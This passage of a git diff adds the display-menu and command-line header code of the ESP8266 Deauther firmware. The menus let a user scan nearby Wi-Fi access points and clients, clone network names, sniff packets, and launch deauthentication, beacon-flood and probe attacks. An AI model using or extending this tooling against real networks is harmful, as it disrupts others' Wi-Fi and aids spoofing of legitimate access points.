+ + SimpleList* list; + SimpleList* queue; + + bool delayed = false; + uint32_t delayTime = 0; + uint32_t delayStartTime = 0; + + String execPath = "/autostart.txt"; + + struct Keyword { + const char* name; + const char* shortName; + const char* alt; + }; + + void error(String message); + void parameterError(String parameter); + bool isInt(String str); + int toInt(String str); + uint32_t getTime(String time); + bool eqlsCMD(int i, const char* keyword); +}; + +#endif // ifndef CLI_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp new file mode 100755 index 0000000..ad64339 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp @@ -0,0 +1,893 @@ +#include "DisplayUI.h" + +// ===== adjustable ===== // +void DisplayUI::configInit() { + // initialize display + display.init(); + + /* + In case of a compiler (conversion char/uint8_t) error, + make sure to have version 4 of the display library installed + https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0 + */ + display.setFont(DejaVu_Sans_Mono_12); + + display.setContrast(255); + +#ifndef FLIP_DIPLAY + display.flipScreenVertically(); +#endif // ifndef FLIP_DIPLAY + + display.clear(); + display.display(); +} + +void DisplayUI::configOn() { + display.displayOn(); +} + +void DisplayUI::configOff() { + display.displayOff(); +} + +void DisplayUI::updatePrefix() { + display.clear(); +} + +void DisplayUI::updateSuffix() { + display.display(); +} + +void DisplayUI::drawString(int x, int y, String str) { + display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK))); +} + +void DisplayUI::drawString(int row, String str) { + drawString(0, row * lineHeight, str); +} + +void DisplayUI::drawLine(int x1, int y1, int x2, int y2) { + display.drawLine(x1, y1, x2, y2); +} + +// ====================== // + + +DisplayUI::DisplayUI() {} + +DisplayUI::~DisplayUI() {} + + +void DisplayUI::setup() { + configInit(); + setupButtons(); + buttonTime = currentTime; + + clockHour = random(12); + clockMinute = random(60); + + // ===== MENUS ===== // + + // MAIN MENU + createMenu(&mainMenu, NULL, [this]() { + addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN + addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW + addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK + addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR + scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel); + mode = DISPLAY_MODE::PACKETMONITOR; + }); + + addMenuNode(&mainMenu, D_CLOCK, [this]() { // PACKET MONITOR + mode = DISPLAY_MODE::CLOCK; + display.setFont(ArialMT_Plain_24); + display.setTextAlignment(TEXT_ALIGN_CENTER); + }); + +#ifdef HIGHLIGHT_LED + addMenuNode(&mainMenu, D_LED, [this]() { // LED + highlightLED = !highlightLED; + digitalWrite(HIGHLIGHT_LED, highlightLED); + }); +#endif // ifdef HIGHLIGHT_LED + }); + + // SCAN MENU + createMenu(&scanMenu, &mainMenu, [this]() { + addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST + scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP + scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST + scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + }); + + // SHOW MENU + createMenu(&showMenu, &mainMenu, [this]() { + addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0] + return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1); + }, &apListMenu); + addMenuNode(&showMenu, [this]() { // Stations 0 [0] + return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1); + }, &stationListMenu); + addMenuNode(&showMenu, [this]() { // Names 0 [0] + return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1); + }, &nameListMenu); + addMenuNode(&showMenu, [this]() { // SSIDs 0 + return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1); + }, &ssidListMenu); + }); + + // AP LIST MENU + createMenu(&apListMenu, &showMenu, [this]() { + // add APs to list + int c = accesspoints.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&apListMenu, [i]() { + return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i); + }, [this, i]() { + accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&apMenu); + }); + } + addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + accesspoints.selectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + accesspoints.deselectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + accesspoints.removeAll(); + goBack(); + }); + }); + + // STATION LIST MENU + createMenu(&stationListMenu, &showMenu, [this]() { + // add stations to list + int c = stations.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&stationListMenu, [i]() { + return b2a(stations.getSelected(i)) + + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i)); + }, [this, i]() { + stations.getSelected(i) ? stations.deselect(i) : stations.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&stationMenu); + }); + } + + addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + stations.selectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + stations.deselectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + stations.removeAll(); + goBack(); + }); + }); + + // NAME LIST MENU + createMenu(&nameListMenu, &showMenu, [this]() { + // add device names to list + int c = names.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&nameListMenu, [i]() { + return names.getSelectedStr(i) + names.getName(i); + }, [this, i]() { + names.getSelected(i) ? names.deselect(i) : names.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&nameMenu); + }); + } + addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + names.selectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + names.deselectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + names.removeAll(); + goBack(); + }); + }); + + // SSID LIST MENU + createMenu(&ssidListMenu, &showMenu, [this]() { + addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs + ssids.cloneSelected(true); + changeMenu(&ssidListMenu); + ssids.save(false); + }); + addMenuNode(&ssidListMenu, [this]() { + return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE + }, [this]() { + if (ssids.getRandom()) ssids.disableRandom(); + else ssids.enableRandom(10); + changeMenu(&ssidListMenu); + }); + + // add ssids to list + int c = ssids.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&ssidListMenu, [i]() { + return ssids.getName(i).substring(0, ssids.getLen(i)); + }, [this, i]() { + selectedID = i; + changeMenu(&ssidMenu); + }, [this, i]() { + ssids.remove(i); + changeMenu(&ssidListMenu); + ssidListMenu.selected = i; + }); + } + + addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + ssids.removeAll(); + goBack(); + }); + }); + + // AP MENU + createMenu(&apMenu, &apListMenu, [this]() { + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // * + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, [this]() { + return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID); + }, NULL); // Encryption: -/WPA2 + addMenuNode(&apMenu, [this]() { + return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID); + }, NULL); // RSSI: -90 + addMenuNode(&apMenu, [this]() { + return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID); + }, NULL); // Channel: 11 + addMenuNode(&apMenu, [this]() { + return accesspoints.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&apMenu, [this]() { + return str(D_VENDOR) + accesspoints.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE + ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true); + changeMenu(&showMenu); + ssids.save(false); + }); + addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE + accesspoints.remove(selectedID); + apListMenu.list->remove(apListMenu.selected); + goBack(); + }); + }); + + // STATION MENU + createMenu(&stationMenu, &stationListMenu, [this]() { + addMenuNode(&stationMenu, [this]() { + return stations.getSelectedStr(selectedID) + + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, [this]() { + return stations.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&stationMenu, [this]() { + return str(D_VENDOR) + stations.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&stationMenu, [this]() { + return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP + }, [this]() { + int apID = accesspoints.find(stations.getAP(selectedID)); + + if (apID >= 0) { + selectedID = apID; + changeMenu(&apMenu); + } + }); + addMenuNode(&stationMenu, [this]() { + return str(D_PKTS) + String(*stations.getPkts(selectedID)); + }, NULL); // Pkts: 12 + addMenuNode(&stationMenu, [this]() { + return str(D_CHANNEL) + String(stations.getCh(selectedID)); + }, NULL); // Channel: 11 + addMenuNode(&stationMenu, [this]() { + return str(D_SEEN) + stations.getTimeStr(selectedID); + }, NULL); // Seen: <1min + + addMenuNode(&stationMenu, [this]() { + return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE + stations.remove(selectedID); + stationListMenu.list->remove(stationListMenu.selected); + goBack(); + }); + }); + + // NAME MENU + createMenu(&nameMenu, &nameListMenu, [this]() { + addMenuNode(&nameMenu, [this]() { + return names.getSelectedStr(selectedID) + names.getName(selectedID); // + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, [this]() { + return names.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_VENDOR) + names.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&nameMenu, [this]() { + return str(D_AP) + names.getBssidStr(selectedID); + }, NULL); // AP: 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_CHANNEL) + (String)names.getCh(selectedID); + }, NULL); // Channel: 11 + + addMenuNode(&nameMenu, [this]() { + return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE + names.remove(selectedID); + nameListMenu.list->remove(nameListMenu.selected); + goBack(); + }); + }); + + // SSID MENU + createMenu(&ssidMenu, &ssidListMenu, [this]() { + addMenuNode(&ssidMenu, [this]() { + return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID)); + }, NULL); // SSID + addMenuNode(&ssidMenu, [this]() { + return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2 + }, [this]() { + ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID)); + }); + addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE + ssids.remove(selectedID); + ssidListMenu.list->remove(ssidListMenu.selected); + goBack(); + }); + }); + + // ATTACK MENU + createMenu(&attackMenu, &mainMenu, [this]() { + addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0 + if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH), + (String)attack.getDeauthPkts() + SLASH + + (String)attack.getDeauthMaxPkts(), maxLen - 1); + else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1); + }, [this]() { // deauth + deauthSelected = !deauthSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *BEACON 0/0 + if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON), + (String)attack.getBeaconPkts() + SLASH + + (String)attack.getBeaconMaxPkts(), maxLen - 1); + else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1); + }, [this]() { // beacon + beaconSelected = !beaconSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *PROBE 0/0 + if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE), + (String)attack.getProbePkts() + SLASH + + (String)attack.getProbeMaxPkts(), maxLen - 1); + else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1); + }, [this]() { // probe + probeSelected = !probeSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // START + return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK), + attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1); + }, [this]() { + if (attack.isRunning()) attack.stop(); + else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + }); + }); + + // ===================== // + + // set current menu to main menu + changeMenu(&mainMenu); + enabled = true; + startTime = currentTime; +} + +#ifdef HIGHLIGHT_LED +void DisplayUI::setupLED() { + pinMode(HIGHLIGHT_LED, OUTPUT); + digitalWrite(HIGHLIGHT_LED, HIGH); + highlightLED = true; +} + +#endif // ifdef HIGHLIGHT_LED + +void DisplayUI::update() { + if (!enabled) return; + + up->update(); + down->update(); + a->update(); + b->update(); + + draw(); + + uint32_t timeout = settings.getDisplayTimeout() * 1000; + + if (currentTime > timeout) { + if (!tempOff) { + if (buttonTime < currentTime - timeout) off(); + } else { + if (buttonTime > currentTime - timeout) on(); + } + } +} + +void DisplayUI::on() { + if (enabled) { + configOn(); + tempOff = false; + buttonTime = currentTime; // update a button time to keep display on + prntln(D_MSG_DISPLAY_ON); + } else { + prntln(D_ERROR_NOT_ENABLED); + } +} + +void DisplayUI::off() { + if (enabled) { + configOff(); + tempOff = true; + prntln(D_MSG_DISPLAY_OFF); + } else { + prntln(D_ERROR_NOT_ENABLED); + } +} + +void DisplayUI::setupButtons() { + up = new ButtonPullup(BUTTON_UP); + down = new ButtonPullup(BUTTON_DOWN); + a = new ButtonPullup(BUTTON_A); + b = new ButtonPullup(BUTTON_B); + + // === BUTTON UP === // + up->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected > 0) currentMenu->selected--; + else currentMenu->selected = currentMenu->list->size() - 1; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel + 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute + 1, clockSecond); + } + } + }); + + up->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected > 0) currentMenu->selected--; + else currentMenu->selected = currentMenu->list->size() - 1; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel + 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute + 10, clockSecond); + } + } + }, buttonDelay); + + // === BUTTON DOWN === // + down->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; + else currentMenu->selected = 0; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel - 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute - 1, clockSecond); + } + } + }); + + down->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; + else currentMenu->selected = 0; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel - 1); + } + + else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute - 10, clockSecond); + } + } + }, buttonDelay); + + // === BUTTON A === // + a->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + switch (mode) { + case DISPLAY_MODE::MENU: + + if (currentMenu->list->get(currentMenu->selected).click) { + currentMenu->list->get(currentMenu->selected).click(); + } + break; + + case DISPLAY_MODE::PACKETMONITOR: + case DISPLAY_MODE::LOADSCAN: + scan.stop(); + mode = DISPLAY_MODE::MENU; + break; + + case DISPLAY_MODE::CLOCK: + mode = DISPLAY_MODE::MENU; + display.setFont(DejaVu_Sans_Mono_12); + display.setTextAlignment(TEXT_ALIGN_LEFT); + break; + } + } + }); + + a->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { + if (currentMenu->list->get(currentMenu->selected).hold) { + currentMenu->list->get(currentMenu->selected).hold(); + } + } + } + }, 800); + + // === BUTTON B === // + b->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + switch (mode) { + case DISPLAY_MODE::MENU: + goBack(); + break; + + case DISPLAY_MODE::PACKETMONITOR: + case DISPLAY_MODE::LOADSCAN: + scan.stop(); + mode = DISPLAY_MODE::MENU; + break; + + case DISPLAY_MODE::CLOCK: + mode = DISPLAY_MODE::MENU; + display.setFont(DejaVu_Sans_Mono_12); + display.setTextAlignment(TEXT_ALIGN_LEFT); + break; + } + } + }); +} + +String DisplayUI::getChannel() { + String ch = String(wifi_channel); + + if (ch.length() < 2) ch = ' ' + ch; + return ch; +} + +void DisplayUI::draw() { + if ((currentTime - drawTime > drawInterval) && currentMenu) { + drawTime = currentTime; + + updatePrefix(); + + if (clockTime < currentTime - 1000) { + setTime(clockHour, clockMinute++, clockSecond + 1); + clockTime += 1000; + } + + switch (mode) { + case DISPLAY_MODE::BUTTON_TEST: + drawButtonTest(); + break; + + case DISPLAY_MODE::MENU: + drawMenu(); + break; + + case DISPLAY_MODE::LOADSCAN: + drawLoadingScan(); + break; + + case DISPLAY_MODE::PACKETMONITOR: + drawPacketMonitor(); + break; + + case DISPLAY_MODE::INTRO: + if (currentTime - startTime >= screenIntroTime) { + mode = DISPLAY_MODE::MENU; + } + drawIntro(); + break; + case DISPLAY_MODE::CLOCK: + drawClock(); + break; + } + + updateSuffix(); + } +} + +void DisplayUI::drawButtonTest() { + drawString(0, str(D_UP) + b2s(up->read())); + drawString(1, str(D_DOWN) + b2s(down->read())); + drawString(2, str(D_A) + b2s(a->read())); + drawString(3, str(D_B) + b2s(b->read())); +} + +void DisplayUI::drawMenu() { + String tmp; + int tmpLen; + int row = (currentMenu->selected / 5) * 5; + + // correct selected if it's off + if (currentMenu->selected < 0) currentMenu->selected = 0; + else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1; + + // draw menu entries + for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) { + tmp = currentMenu->list->get(i).getStr(); + tmpLen = tmp.length(); + + // horizontal scrolling + if ((currentMenu->selected == i) && (tmpLen >= maxLen)) { + tmp = tmp + tmp; + tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1); + + if ((scrollCounter > 0 && scrollTime < currentTime - scrollSpeed) || (scrollCounter == 0 && scrollTime < currentTime - scrollSpeed * 4)){ + scrollTime = currentTime; + scrollCounter++; + } + + if (scrollCounter > tmpLen) scrollCounter = 0; + } + + tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp; + drawString(0, (i - row) * 12, tmp); + } +} + +void DisplayUI::drawLoadingScan() { + String percentage; + + if (scan.isScanning()) { + percentage = String(scan.getPercentage()) + '%'; + } else { + percentage = str(DSP_SCAN_DONE); + } + + drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen)); + drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen)); + drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen)); + drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen)); + drawString(4, center(percentage, maxLen)); +} + +void DisplayUI::drawPacketMonitor() { + double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2); + + String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen); + + drawString(0, 0, headline); + + if (scan.getMaxPacket() > 0) { + int i = 0; + int x = 0; + int y = 0; + while(i < SCAN_PACKET_LIST_SIZE && x < screenWidth){ + y = (sreenHeight-1) - (scan.getPackets(i) * scale); + i++; + + //Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y); + drawLine(x, (sreenHeight-1), x, y); + x++; + + //Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y); + drawLine(x, (sreenHeight-1), x, y); + x++; + } + //Serial.println("---------"); + } +} + +void DisplayUI::drawIntro() { + drawString(0, center(str(D_INTRO_0), maxLen)); + drawString(1, center(str(D_INTRO_1), maxLen)); + drawString(2, center(str(D_INTRO_2), maxLen)); + drawString(3, center(str(D_INTRO_3), maxLen)); + drawString(4, center(settings.getVersion(), maxLen)); +} + +void DisplayUI::drawClock() { + String clockTime = String(clockHour); + + clockTime += ':'; + if (clockMinute < 10) clockTime += '0'; + clockTime += String(clockMinute); + + display.drawString(64, 20, clockTime); +} + +void DisplayUI::clearMenu(Menu* menu) { + while (menu->list->size() > 0) { + menu->list->remove(0); + } +} + +void DisplayUI::changeMenu(Menu* menu) { + if (menu) { + // only open list menu if it has nodes + if (((menu == &apListMenu) && (accesspoints.count() == 0)) || + ((menu == &stationListMenu) && (stations.count() == 0)) || + ((menu == &nameListMenu) && (names.count() == 0))) { + return; + } + + if (currentMenu) clearMenu(currentMenu); + currentMenu = menu; + currentMenu->selected = 0; + buttonTime = currentTime; + + if (selectedID < 0) selectedID = 0; + + if (currentMenu->parentMenu) { + addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK] + currentMenu->selected = 1; + } + + if (currentMenu->build) currentMenu->build(); + } +} + +void DisplayUI::goBack() { + if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu); +} + +void DisplayUI::createMenu(Menu* menu, Menu* parent, std::functionbuild) { + menu->list = new SimpleList; + menu->parentMenu = parent; + menu->selected = 0; + menu->build = build; +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, + std::functionhold) { + menu->list->add(MenuNode{ getStr, click, hold }); +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick) { + addMenuNode(menu, getStr, click, NULL); +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, Menu* next) { + addMenuNode(menu, getStr, [this, next]() { + changeMenu(next); + }); +} + +void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::functionclick) { + addMenuNode(menu, [ptr]() { + return str(ptr); + }, click); +} + +void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) { + addMenuNode(menu, [ptr]() { + return str(ptr); + }, next); +} + +void DisplayUI::setTime(int h, int m, int s) { + if (s >= 60) { + s = 0; + m++; + } + + if (m >= 60) { + m = 0; + h++; + } + + if (h >= 24) { + h = 0; + } + + if (s < 0) { + s = 59; + m--; + } + + if (m < 0) { + m = 59; + h--; + } + + if (h < 0) { + h = 23; + } + + clockHour = h; + clockMinute = m; + clockSecond = s; +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h new file mode 100755 index 0000000..808727a --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h @@ -0,0 +1,644 @@ +#ifndef DisplayUI_h +#define DisplayUI_h + +#include "language.h" +#include "A_config.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" + +#include + +using namespace simplebutton; + +extern Settings settings; +extern Names names; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; +extern Attack attack; +extern uint32_t currentTime; + +extern String leftRight(String a, String b, int len); +extern String center(String a, int len); +extern String left(String a, int len); +extern String right(String a, int len); +extern String leftRight(String a, String b, int len); +extern String replaceUtf8(String str, String r); + +const char D_INTRO_0[] PROGMEM = ""; +const char D_INTRO_1[] PROGMEM = "ESP8266 Deauther"; +const char D_INTRO_2[] PROGMEM = "by @Spacehuhn"; +const char D_INTRO_3[] PROGMEM = ""; + +// fallback for the buttons +#ifndef BUTTON_UP + #define BUTTON_UP 255 +#endif // ifndef BUTTON_UP + +#ifndef BUTTON_DOWN + #define BUTTON_DOWN 255 +#endif // ifndef BUTTON_DOWN + +#ifndef BUTTON_A + #define BUTTON_A 255 +#endif // ifndef BUTTON_A + +#ifndef BUTTON_B + #define BUTTON_B 255 +#endif // ifndef BUTTON_B + +struct MenuNode { + std::functiongetStr; // function used to create the displayed string + std::function click; // function that is executed when node is clicked + std::function hold; // function that is executed when node is pressed for > 800ms +}; + +struct Menu { + SimpleList* list; + Menu * parentMenu; + uint8_t selected; + std::function build; // function that is executed when button is clicked +}; + +class DisplayUI { + public: + enum DISPLAY_MODE { OFF = 0, BUTTON_TEST = 1, MENU = 2, LOADSCAN = 3, PACKETMONITOR = 4, INTRO = 5, CLOCK = 6 }; + + uint8_t mode = DISPLAY_MODE::MENU; + bool highlightLED = false; + + Button* up = NULL; + Button* down = NULL; + Button* a = NULL; + Button* b = NULL; + + // ===== adjustable ===== // + DEAUTHER_DISPLAY // see config.h + + const uint8_t maxLen = 18; + const uint8_t lineHeight = 12; + const uint8_t buttonDelay = 250; + const uint8_t drawInterval = 100; // 100ms = 10 FPS + const uint16_t scrollSpeed = 500; // time interval in ms + const uint16_t screenIntroTime = 2500; + const uint16_t screenWidth = 128; + const uint16_t sreenHeight = 64; + + void configInit(); + void configOn(); + void configOff(); + void updatePrefix(); + void updateSuffix(); + void drawString(int x, int y, String str); + void drawString(int row, String str); + void drawLine(int x1, int y1, int x2, int y2); + // ====================== // + + DisplayUI(); + ~DisplayUI(); + + void setup(); +#ifdef HIGHLIGHT_LED + void setupLED(); +#endif // ifdef HIGHLIGHT_LED + + void update(); + void on(); + void off(); + + private: + int16_t selectedID = 0; // i.e. access point ID to draw the apMenu + uint8_t scrollCounter = 0; // for horizontal scrolling + + uint32_t scrollTime = 0; // last time a character was moved + uint32_t drawTime = 0; // last time a frame was drawn + uint32_t startTime = 0; // when the screen was enabled + uint32_t buttonTime = 0; // last time a button was pressed + + bool enabled = false; // display enabled + bool tempOff = false; + + // selected attack modes + bool beaconSelected = false; + bool deauthSelected = false; + bool probeSelected = false; + + // menus + Menu* currentMenu; + + Menu mainMenu; + + Menu scanMenu; + Menu showMenu; + Menu attackMenu; + + Menu apListMenu; + Menu stationListMenu; + Menu nameListMenu; + Menu ssidListMenu; + + Menu apMenu; + Menu stationMenu; + Menu nameMenu; + Menu ssidMenu; + + void setupButtons(); + + String getChannel(); + + // draw functions + void draw(); + void drawButtonTest(); + void drawMenu(); + void drawLoadingScan(); + void drawPacketMonitor(); + void drawIntro(); + void clearMenu(Menu* menu); + + // menu functions + void changeMenu(Menu* menu); + void goBack(); + void createMenu(Menu* menu, Menu* parent, std::functionbuild); + + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, std::functionhold); + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick); + void addMenuNode(Menu* menu, std::functiongetStr, Menu* next); + 